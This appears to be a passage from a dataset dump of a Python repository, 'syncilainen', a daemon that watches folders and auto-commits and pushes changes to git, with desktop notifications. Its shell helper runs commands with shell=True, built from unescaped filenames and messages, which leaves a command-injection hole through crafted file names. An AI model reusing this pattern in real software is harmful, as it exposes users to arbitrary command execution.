signal.pause()\n\n\ndef init():\n options = read_options()\n setup_logging(options.log_file, options.debug)\n\n # start the syncilainen daemon\n syncilainen = Syncilainen(options.conf_file)\n syncilainen.start()\n\n\nif __name__ == '__main__':\n main()\n\n\n"},{"alpha_fraction":0.598473310470581,"alphanum_fraction":0.6000000238418579,"avg_line_length":24.153846740722656,"blob_id":"8d7854b8ee2b2bdc929a8ec2abe24d9bec367a3e","content_id":"358df4dbd81fac47bfa900ce9d9bbd059e0eb3cd","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1310,"license_type":"permissive","max_line_length":87,"num_lines":52,"path":"/watcher/impl/fsevent.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# watcher.impl.fsevent\n# \n# MacFSEvents implementation of the EventWatcher interface (Mac OS X)\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport fsevents\nimport logging\n\n\nclass EventImpl(object):\n def __init__(self, rep):\n # 'cookie', 'mask', 'name'\n if rep:\n self.pathname = rep.name\n self.mask = rep.mask\n else:\n self.pathname = ''\n self.mask = 0\n\n def __str__(self):\n return \"fsevent.EventImpl: %s, %s\" % (self.mask, self.pathname)\n\n\nclass EventWatcherImpl(object):\n def __init__(self, watch_directory, action):\n self.handler = EventHandlerImpl(action)\n\n self._observer = fsevents.Observer()\n self._stream = fsevents.Stream(self.handler, watch_directory, file_events=True)\n logging.info(\"Using EventWatcher: fsevents\")\n\n def start(self):\n logging.info(\"Starting: %s\" % self)\n self._observer.schedule(self._stream)\n self._observer.start()\n\n def stop(self):\n logging.info(\"Stopping: %s\" % self)\n self._observer.unschedule(self._stream)\n self._observer.stop()\n\n\nclass EventHandlerImpl(object):\n def __init__(self, action):\n self.action = action\n\n def __call__(self, event):\n self.action.callback(EventImpl(event))\n\n\n"},{"alpha_fraction":0.6470588445663452,"alphanum_fraction":0.6574394702911377,"avg_line_length":23.08333396911621,"blob_id":"0b7db456af15f9329ef32d191ebbd81fd88a58bd","content_id":"3cd912b5bf824c711b3df4722a70fb30d23c3fc0","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":289,"license_type":"permissive","max_line_length":57,"num_lines":12,"path":"/notifier/impl/dummy.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"import logging\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n logging.info(\"Using Notifier: dummy\")\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n pass\n"},{"alpha_fraction":0.7264721989631653,"alphanum_fraction":0.7330765128135681,"avg_line_length":38.5,"blob_id":"3364857995b1f6b0b719a33bcd1d98fdcc72f88f","content_id":"9dc8da482eb454975066a8ff5760f8f1dde21473","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1817,"license_type":"permissive","max_line_length":72,"num_lines":46,"path":"/lib/json.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"#\n# Copyright 2009 Helsinki Institute for Information Technology\n# and the authors.\n#\n# Authors: Ken Rimey <rimey@hiit.fi>\n#\n\n# Permission is hereby granted, free of charge, to any person\n# obtaining a copy of this software and associated documentation files\n# (the \"Software\"), to deal in the Software without restriction,\n# including without limitation the rights to use, copy, modify, merge,\n# publish, distribute, sublicense, and/or sell copies of the Software,\n# and to permit persons to whom the Software is furnished to do so,\n# subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n# CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nfrom __future__ import absolute_import\n\ntry:\n import json # Python 2.6\nexcept ImportError:\n import simplejson as json # Python 2.5\n\ndump = json.dump\ndumps = json.dumps\nload = json.load\n\ndef loads(s, *args, **kwargs):\n # When its argument is of type str, loads() decodes strings as\n # either str or unicode depending on whether simplejson's speedups\n # are installed (at least this is true in simplejson 2.0.7). It\n # always decodes strings as unicode when the argument to loads()\n # is of type unicode.\n if isinstance(s, str):\n s = s.decode('utf-8')\n return json.loads(s, *args, **kwargs)\n"},{"alpha_fraction":0.5960490703582764,"alphanum_fraction":0.5974114537239075,"avg_line_length":24.736841201782227,"blob_id":"3fc62093fd1534f2a773ed27eede44bfbd86d5d8","content_id":"be42f54baa106d2c37881495a33ec6f4bee7c41f","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1468,"license_type":"permissive","max_line_length":71,"num_lines":57,"path":"/watcher/impl/inotify.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# watcher.impl.inotify\n# \n# pyinotify implementation of the EventWatcher interface (Linux)\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport pyinotify\nimport logging\n\n\nclass EventImpl(object):\n def __init__(self, rep):\n # 'dir', 'mask', 'maskname', 'name', 'path', 'pathname', 'wd'\n if rep:\n self.pathname = rep.pathname\n self.mask = rep.mask\n else:\n self.pathname = ''\n self.mask = 0\n\n def __str__(self):\n return \"inotify.EventImpl: %s, %s\" % (self.mask, self.pathname)\n\n\nclass EventWatcherImpl(object):\n def __init__(self, watch_directory, action):\n self.handler = EventHandlerImpl(action)\n\n mask = pyinotify.IN_ATTRIB\n mask |= pyinotify.IN_CREATE\n mask |= pyinotify.IN_DELETE\n mask |= pyinotify.IN_MODIFY\n mask |= pyinotify.IN_MOVED_FROM\n mask |= pyinotify.IN_MOVED_TO\n\n self.__wm = pyinotify.WatchManager()\n self.__notifier = pyinotify.Notifier(self.__wm, self.handler)\n self.__wm.add_watch([watch_directory], mask, rec=True)\n logging.info(\"Using EventWatcher: inotify\")\n\n def start(self):\n self.__notifier.loop()\n\n def stop(self):\n #[FIXME: something here?]\n pass\n\n\nclass EventHandlerImpl(pyinotify.ProcessEvent):\n def __init__(self, action):\n self.action = action\n\n def process_default(self, event):\n self.action.callback(EventImpl(event))\n\n"},{"alpha_fraction":0.6113861203193665,"alphanum_fraction":0.617986798286438,"avg_line_length":28.414634704589844,"blob_id":"a5fc64c745cc67ce707394dc2316e34587573e45","content_id":"99476a48a0af3d11ad4a4d00ecc4f6fa9e830279","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1212,"license_type":"permissive","max_line_length":77,"num_lines":41,"path":"/notifier/impl/notifysend.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# watcher.impl.notifysend\n# \n# notify-send implementation of the Notifier interface (Linux)\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport logging\nimport subprocess\nfrom shell.cmd import exec_cmd, exec_cmd_out\n\n# try to locate the notify-send command line tool, or raise ImportError\nNOTIFY_SEND = exec_cmd_out(\"which notify-send\").strip() \nif NOTIFY_SEND == '':\n raise ImportError()\n\nNORMAL_LEVEL_IMPL = 0\nERROR_LEVEL_IMPL = 1\n\nclass NotifierImpl(object):\n def __init__(self, title, disable_after_n_errors=-1):\n self.title = title\n self.disable_after_n_errors = disable_after_n_errors\n self._consecutive_errors = 0\n logging.info(\"Using Notifier: %s\" % NOTIFY_SEND)\n\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\n if message == \"\":\n return\n\n if level == ERROR_LEVEL_IMPL:\n self._consecutive_errors = self._consecutive_errors + 1\n else:\n self._consecutive_errors = 0\n\n if self.disable_after_n_errors > 0:\n if self._consecutive_errors < self.disable_after_n_errors:\n cmd = \"%s \\\"%s\\\" \\\"%s\\\"\" % (NOTIFY_SEND, self.title, message)\n exec_cmd(cmd)\n \n\n"},{"alpha_fraction":0.7232289910316467,"alphanum_fraction":0.7265238761901855,"avg_line_length":26.545454025268555,"blob_id":"c215a85209d754e63c710e9204c7d7d486e7fcbf","content_id":"8b65ca0b59e6756f84bd90d08704f5ca18a375e0","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":607,"license_type":"permissive","max_line_length":85,"num_lines":22,"path":"/notifier/__init__.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# notifier\n# \n# Dynamically loads a Notifier interface implementation\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\ntry:\n from impl.growlnotify import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\nexcept ImportError:\n try:\n from impl.notifysend import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\n except ImportError:\n from impl.dummy import NotifierImpl, NORMAL_LEVEL_IMPL, ERROR_LEVEL_IMPL\n\nNORMAL_LEVEL = NORMAL_LEVEL_IMPL\nERROR_LEVEL = ERROR_LEVEL_IMPL\n\ndef Notifier(title, disable_after_n_errors=-1):\n return NotifierImpl(title, disable_after_n_errors)\n\n"},{"alpha_fraction":0.6929824352264404,"alphanum_fraction":0.6959064602851868,"avg_line_length":14.5,"blob_id":"99f3bc0aff95355b25928567139fcf0a06925134","content_id":"81263c90687f25139ee4e670f66b63044f3880d0","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":342,"license_type":"permissive","max_line_length":50,"num_lines":22,"path":"/vcs/__init__.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# vcs\n# \n# Dynamically loads a VCS interface implementation\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nclass UnknownVCSException(Exception): pass\n\nOK = True\nNOT_OK = False\n\ntry:\n from impl.git import VCSImpl\nexcept ImportError:\n raise UnknownVCSException()\n\n\ndef VCS(repo_directory):\n return VCSImpl(repo_directory)\n\n"},{"alpha_fraction":0.517163097858429,"alphanum_fraction":0.5180141925811768,"avg_line_length":33.54901885986328,"blob_id":"cb954da9c4ec13f43ce2bc71483c4fcbec22644e","content_id":"b3d3a505d4c24f5f77795ba5f9bbdb12ecf6932e","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3525,"license_type":"permissive","max_line_length":98,"num_lines":102,"path":"/actions/vcs_action.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# actions.vcs_actions\n# \n# Commit to a remote VCS repository on filesystem events\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport logging\nfrom datetime import datetime\nfrom vcs import VCS, OK\nfrom notifier import NORMAL_LEVEL, ERROR_LEVEL\n\nclass Action(object):\n def __init__(self, id, watch_directory, notifier=None):\n self.id = id\n self.watch_directory = watch_directory\n self.notifier = notifier\n self.vcs = VCS(watch_directory)\n self._working = False\n logging.info(\"Using Action: vcs\")\n\n def _add_commit_push_cycle(self, event):\n status = self.vcs.status()\n if len(status) > 0:\n modes,files = zip(*status)\n\n file_list = ','.join(files)\n message = \"syncilainen[%s]: %s: %s\" % (self.id, datetime.now().isoformat(), file_list)\n\n logging.debug(\"%s: add\" % event.pathname)\n result,error = self.vcs.add()\n if not result == OK:\n logging.error(\"%s: add\" % error)\n if self.notifier:\n self.notifier.notify(error, ERROR_LEVEL)\n return result,error\n\n logging.debug(\"%s: commit_all\" % event.pathname)\n result,error = self.vcs.commit_all(message)\n if not result == OK:\n return result,error\n\n logging.debug(\"%s: push\" % event.pathname)\n result,error = self.vcs.push()\n if not result == OK:\n # fetch\n logging.debug(\"%s: fetch\" % event.pathname)\n result,error = self.vcs.fetch()\n\n # merge\n logging.debug(\"%s: merge\" % event.pathname)\n result,error = self.vcs.merge()\n if not result == OK:\n # ls_files\n logging.debug(\"%s: get_unmerged\" % event.pathname)\n unmerged = self.vcs.get_unmerged()\n logging.debug(\"unmerged: %s\" % unmerged)\n\n for u in unmerged:\n # save theirs as <id>.<sha1>.<filename>\n logging.debug(\"%s: save_theirs\" % event.pathname)\n self.vcs.save_theirs(u, id)\n\n # force ours to be <filename>\n logging.debug(\"%s: force_ours\" % event.pathname)\n self.vcs.force_ours(u)\n\n # recurse\n logging.debug(\"%s: recurse\" % event.pathname)\n return self._add_commit_push_cycle(event)\n\n # Everything went OK\n return result,message\n\n # Nothing to do\n return OK,\"\"\n\n def callback(self, event):\n if self.vcs.ignore_path in event.pathname:\n #logging.debug(\"ignoring: %s\" % event.pathname)\n return\n\n if self._working:\n #logging.debug(\"working.. ignoring: %s\" % event.pathname)\n return\n\n self._working = True\n\n logging.debug(\"%s: _add_commit_push_cycle\" % event.pathname)\n result,message = self._add_commit_push_cycle(event)\n if not result == OK:\n logging.error(\"%s: _add_commit_push_cycle\" % error)\n if self.notifier:\n self.notifier.notify(error, ERROR_LEVEL)\n else:\n # Everything went OK\n logging.info(\"%s: OK: %s\" % (event.pathname, message))\n self._working = False\n if self.notifier:\n self.notifier.notify(message, NORMAL_LEVEL)\n\n"},{"alpha_fraction":0.6666666865348816,"alphanum_fraction":0.6685606241226196,"avg_line_length":20.95833396911621,"blob_id":"d52448071317131a92846c385ba11d62517f34e8","content_id":"eefefae0eed8d1b2af5a5964962ea2c628078496","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":528,"license_type":"permissive","max_line_length":101,"num_lines":24,"path":"/shell/cmd.py","repo_name":"konker/syncilainen","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#\n# shell.cmd\n# \n# Execute shell commands in a subprocess\n#\n# Authors: Konrad Markus <konker@gmail.com>\n#\n\nimport subprocess\n\ndef exec_cmd_out(cmd, cwd=None):\n stdout,stderr = exec_cmd(cmd, cwd)\n return stdout\n\ndef exec_cmd_err(cmd, cwd=None):\n stdout,stderr = exec_cmd(cmd, cwd)\n return stderr\n\ndef exec_cmd(cmd, cwd=None):\n pipe = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout,stderr = pipe.communicate()\n pipe.wait()\n return stdout,stderr\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7274436354637146,\n \"alphanum_fraction\": 0.7293233275413513,\n \"avg_line_length\": 20.239999771118164,\n \"blob_id\": \"7cc4e184887c68fec6eedfab2aca855b091a8d67\",\n \"content_id\": \"decbb816da54b4d8172daf9fb859714ed502ce94\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 532,\n \"license_type\": \"permissive\",\n \"max_line_length\": 60,\n \"num_lines\": 25,\n \"path\": \"/watcher/__init__.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# watcher\\n# \\n# Dynamically loads a EventWatcher interface implementation\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nclass UnknownWatcherException(Exception): pass\\n\\ntry:\\n from impl.fsevent import EventWatcherImpl, EventImpl\\nexcept ImportError:\\n try:\\n from impl.inotify import EventWatcherImpl, EventImpl\\n except ImportError:\\n raise UnknownWatcherException()\\n\\n\\ndef Event(event):\\n return EventImpl(event)\\n\\ndef EventWatcher(action):\\n return EventWatcherImpl(action.watch_directory, action)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.619313657283783,\n \"alphanum_fraction\": 0.6256983280181885,\n \"avg_line_length\": 29.439023971557617,\n \"blob_id\": \"b7a381bd3400fa98b6d2ee56524710c79e101217\",\n \"content_id\": \"9a20a08d7e1819df9adf0b10426a46307fd732e3\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1253,\n \"license_type\": \"permissive\",\n \"max_line_length\": 116,\n \"num_lines\": 41,\n \"path\": \"/notifier/impl/growlnotify.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# watcher.impl.growlnotify\\n# \\n# growlnotify implementation of the Notifier interface (Mac OS X)\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport logging\\nimport subprocess\\nfrom shell.cmd import exec_cmd, exec_cmd_out\\n\\n# try to locate the growlnotify command line tool, or raise ImportError\\nGROWLNOTIFY = exec_cmd_out(\\\"which growlnotify\\\").strip()\\nif GROWLNOTIFY == '':\\n raise ImportError()\\n\\nNORMAL_LEVEL_IMPL = 0\\nERROR_LEVEL_IMPL = 1\\n\\nclass NotifierImpl(object):\\n def __init__(self, title, disable_after_n_errors=-1):\\n self.title = title\\n self.disable_after_n_errors = disable_after_n_errors\\n self._consecutive_errors = 0\\n logging.info(\\\"Using Notifier: %s\\\" % GROWLNOTIFY)\\n\\n def notify(self, message, level=NORMAL_LEVEL_IMPL):\\n if message == \\\"\\\":\\n return\\n\\n if level == ERROR_LEVEL_IMPL:\\n self._consecutive_errors = self._consecutive_errors + 1\\n else:\\n self._consecutive_errors = 0\\n\\n if self.disable_after_n_errors > 0:\\n if self._consecutive_errors < self.disable_after_n_errors:\\n cmd = \\\"%s --message \\\\\\\"%s\\\\\\\" --priority %d --title \\\\\\\"%s\\\\\\\"\\\" % (GROWLNOTIFY, message, level, self.title)\\n exec_cmd(cmd)\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.5329418182373047,\n \"alphanum_fraction\": 0.538998007774353,\n \"avg_line_length\": 30.131427764892578,\n \"blob_id\": \"9a9bb1670934113bda14af22864eeee65ded95b8\",\n \"content_id\": \"cd33542d89bc12216e06d68c3265c746ed494371\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5449,\n \"license_type\": \"permissive\",\n \"max_line_length\": 98,\n \"num_lines\": 175,\n \"path\": \"/vcs/impl/git.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n#\\n# vcs.impl.git\\n#\\n# Wrapper around the git command\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport logging\\nimport os.path\\nimport shutil\\nimport time\\nimport subprocess\\nfrom shell.cmd import exec_cmd, exec_cmd_out\\nfrom vcs import OK, NOT_OK\\n\\n# try to locate the git command line tool, or raise ImportError\\nGIT = exec_cmd_out(\\\"which git\\\").strip()\\nif GIT == '':\\n raise ImportError()\\n\\n\\nclass VCSImpl(object):\\n def __init__(self, repo_directory):\\n self.repo_directory = repo_directory\\n self.ignore_path = os.path.join(repo_directory, '.git')\\n logging.info(\\\"Using VCS: git\\\")\\n\\n def status(self):\\n cmd = \\\"%s status --porcelain -uall\\\" % GIT\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n return self._parse_status(stdout, stderr)\\n\\n def add(self, filename='.'):\\n cmd = \\\"%s add %s\\\" % (GIT, filename)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n return OK,stdout\\n\\n def commit(self, message):\\n cmd = \\\"%s commit -m \\\\\\\"%s\\\\\\\"\\\" % (GIT, message)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n return OK,stdout\\n\\n def commit_all(self, message):\\n cmd = \\\"%s commit --all -m \\\\\\\"%s\\\\\\\"\\\" % (GIT, message)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n return OK,stdout\\n\\n def fetch(self):\\n cmd = \\\"%s fetch\\\" % GIT\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n return OK,stdout\\n\\n def merge(self, remote='origin', branch='master'):\\n cmd = \\\"%s merge %s/%s\\\" % (GIT, remote, branch)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if ('CONFLICT' in stdout):\\n return NOT_OK, stdout\\n\\n return OK,stdout\\n\\n def get_unmerged(self):\\n cmd = \\\"%s ls-files -u\\\" % GIT\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n return self._parse_ls_files(stdout, stderr)\\n\\n def save_theirs(self, unmerged, id):\\n # checkout \\\"theirs\\\" and move to a temporary file\\n cmd = \\\"%s checkout --theirs %s\\\" % (GIT, unmerged[2][3])\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n src = os.path.join(self.repo_directory, unmerged[2][3])\\n dst = os.path.join(self.repo_directory, \\\"%s.%s.%s\\\" % (id, unmerged[2][1], unmerged[2][3]))\\n logging.debug(\\\"move: %s -> %s\\\" % (src, dst))\\n shutil.move(src, dst)\\n \\n return OK,\\\"\\\"\\n\\n def force_ours(self, unmerged):\\n # checkout \\\"ours\\\"\\n cmd = \\\"%s checkout --ours %s\\\" % (GIT, unmerged[1][3])\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n return OK,stdout\\n\\n def pull(self, remote='origin', branch='master'):\\n cmd = \\\"%s pull --ff-only %s %s\\\" % (GIT, remote, branch)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if ('error' in stdout):\\n return NOT_OK,stdout\\n\\n return OK,stdout\\n\\n def push(self, remote='origin', branch='master'):\\n cmd = \\\"%s push --porcelain %s %s\\\" % (GIT, remote, branch)\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if ('[rejected]' in stdout or 'fatal' in stderr):\\n return NOT_OK,stdout\\n\\n return OK,stdout\\n\\n def _parse_status(self, stdout, stderr):\\n ret = []\\n for f in stdout.split(\\\"\\\\n\\\"):\\n if not f == '':\\n ret.append(tuple(f.split()))\\n return ret\\n\\n def _parse_ls_files(self, stdout, stderr):\\n ret = []\\n for f in stdout.split(\\\"\\\\n\\\"):\\n if not f == '':\\n ret.append(tuple(f.split()))\\n\\n # split into groups of 3\\n return [ret[i:i+3] for i in range(0, len(ret), 3)]\\n\\n '''\\n def handle_conflict(self):\\n print(\\\"CONFLICT!!!:\\\")\\n # fetch state from remote\\n cmd = \\\"%s fetch\\\" % GIT\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n # check for unmerged files\\n cmd = \\\"%s ls-files -u\\\" % GIT\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n ls_files = self._parse_ls_files(stdout, stderr)\\n print(ls_files)\\n if len(ls_files) >= 3 and len(ls_files[2]) >= 4:\\n # copy 3 (\\\"their's\\\") to a temporary file\\n cmd = \\\"%s show %s > %s.%s\\\" % (GIT, ls_files[2][1], ls_files[2][1], ls_files[2][3])\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n # checkout \\\"our's\\\"\\n cmd = \\\"%s checkout --ours %s\\\" % (GIT, ls_files[2][3])\\n stdout,stderr = exec_cmd(cmd, self.repo_directory)\\n if (stderr != ''):\\n return NOT_OK,stderr\\n\\n # add and commit \\\"our's\\\"\\n code,message = self.add(ls_files[2][3])\\n if (code != OK):\\n return code,message\\n\\n # push\\n code,message = self.push()\\n if (code != OK):\\n return code,message\\n\\n return OK,\\\"Conflict found. File renamed to: %s.%s\\\" % (ls_files[2][1], ls_files[2][3])\\n\\n return OK,\\\"No conflict detected\\\"\\n '''\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5821674466133118,\n \"alphanum_fraction\": 0.5838379859924316,\n \"avg_line_length\": 25.893259048461914,\n \"blob_id\": \"7ce383cd62ed7478aae84e45885a0a2bed1d3a93\",\n \"content_id\": \"3b26e052e69b20b92591c7c4b3469017dfb8584f\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4789,\n \"license_type\": \"permissive\",\n \"max_line_length\": 153,\n \"num_lines\": 178,\n \"path\": \"/syncilainen.py\",\n \"repo_name\": \"konker/syncilainen\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python\\n# -*- coding: utf-8 -*-\\n#\\n# syncilainen\\n# \\n# Monitor a pre-configured directory for changes and then synch\\n# automatically to a pre-configured version control respository.\\n#\\n# Authors: Konrad Markus <konker@gmail.com>\\n#\\n\\nimport pathhack\\n\\nimport sys\\nimport time\\nimport signal\\nimport os.path\\nimport logging\\nimport optparse\\nimport threading\\n\\nfrom lib import json\\nfrom watcher import EventWatcher, Event\\nfrom notifier import Notifier\\nfrom actions.vcs_action import Action\\n\\nDEFAULT_CONF_FILE='syncilainen.json'\\nDEFAULT_LOG_FILE=None\\n\\n\\nclass SyncilainenException(Exception): pass\\n\\nclass Syncilainen(object):\\n def __init__(self, conf_file=DEFAULT_CONF_FILE):\\n self.conf_file = conf_file\\n self.watchers = []\\n self.load_config()\\n\\n def start(self):\\n for w in self.watchers:\\n logging.info(\\\"Syncilainen.start: %s\\\" % w)\\n w.start()\\n\\n def stop(self):\\n for w in self.watchers:\\n logging.info(\\\"Syncilainen.stop: %s\\\" % w)\\n w.stop()\\n self.watchers = []\\n\\n def reload_config(self):\\n self.stop()\\n self.load_config()\\n self.start()\\n\\n def load_config(self):\\n # read the configuration JSON file\\n logging.info(\\\"Reading config: %s\\\" % self.conf_file)\\n config = None\\n try:\\n fp = open(self.conf_file)\\n config = json.load(fp)\\n except:\\n logging.error(sys.exc_info()[1])\\n exit(1)\\n\\n if config:\\n # start\\n for d in config['watch_directories']:\\n # XXX: should str() be used here?\\n watch_directory = str(os.path.abspath(os.path.expanduser(d['path'])))\\n logging.info(\\\"watching: %s\\\", d['path'])\\n\\n action = Action(config['id'], watch_directory)\\n if d['notifier']['enabled']:\\n action.notifier = Notifier('Syncilainen', d['notifier']['disable_after_n_errors'])\\n self.watchers.append(EventWatcher(action))\\n else:\\n raise SyncilainenException(\\\"Could not load config file\\\")\\n\\n\\ndef read_options():\\n # read in command line options\\n parser = optparse.OptionParser()\\n parser.add_option('-c', '--conf-file', dest='conf_file', default=DEFAULT_CONF_FILE, help=\\\"Config file location (defaults to %s)\\\" % DEFAULT_CONF_FILE)\\n parser.add_option('--log', dest='log_file', default=DEFAULT_LOG_FILE, help=\\\"where to send log messages (defaults to %s)\\\" % DEFAULT_LOG_FILE)\\n parser.add_option('--debug', dest='debug', action='store_true', default=False, help='Debug mode')\\n \\n options, args = parser.parse_args()\\n if len(args) != 0:\\n parser.error(\\\"Unknown arguments %s\\\\n\\\" % args)\\n print(options)\\n return options\\n\\n\\ndef setup_logging(log_file=None, debug=False):\\n # set up logging\\n if log_file:\\n filename = log_file\\n stream = None\\n else:\\n filename = None\\n stream = sys.stderr\\n\\n datefmt = '%Y-%m-%d %H:%M:%S'\\n\\n if debug:\\n level=logging.DEBUG\\n format='%(asctime)s [%(threadName)s] %(message)s'\\n else:\\n level=logging.INFO\\n format='%(asctime)s %(message)s'\\n\\n if stream:\\n logging.basicConfig(level=level,\\n format=format,\\n stream=stream,\\n datefmt=datefmt)\\n else:\\n logging.basicConfig(level=level,\\n format=format,\\n filename=filename,\\n datefmt=datefmt)\\n'''\\n def pull_timer(secs):\\n action.callback(Event({}))\\n if secs > 0:\\n t = threading.Timer(secs, pull_timer, [secs])\\n t.start()\\n\\n # start pull timer\\n #pull_timer(d['auto_pull_secs'])\\n'''\\n\\ndef main():\\n syncilainen = None\\n\\n def reload(signum, stack):\\n if syncilainen:\\n syncilainen.reload_config()\\n\\n def quit(signum, stack):\\n if syncilainen:\\n syncilainen.stop()\\n exit(0)\\n\\n # listen for SIGHUP or SIGUSR1 and reload config\\n signal.signal(signal.SIGHUP, reload)\\n signal.signal(signal.SIGUSR1, reload)\\n\\n # listen for SIGINT and quit gracefully\\n signal.signal(signal.SIGINT, quit)\\n\\n # boilerplate\\n options = read_options()\\n setup_logging(options.log_file, options.debug)\\n \\n logging.info(\\\"PID: %s\\\" % os.getpid())\\n \\n # start the syncilainen daemon\\n syncilainen = Syncilainen()\\n syncilainen.start()\\n\\n # wait for signals\\n while True:\\n signal.pause()\\n\\n\\ndef init():\\n options = read_options()\\n setup_logging(options.log_file, options.debug)\\n\\n # start the syncilainen daemon\\n syncilainen = Syncilainen(options.conf_file)\\n syncilainen.start()\\n\\n\\nif __name__ == '__main__':\\n main()\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.598473310470581,\n \"alphanum_fraction\": 0.6000000238418579,\n \"avg_line_length\": 24.153846740722656,\n \"blob_id\": \"8d7854b8ee2b2bdc929a8ec2abe24d9bec367a3e\",\n \"content_id\": \"358df4dbd81fac47bfa900ce9d9bbd059e0eb3cd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1310,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 52,\n \"path\": 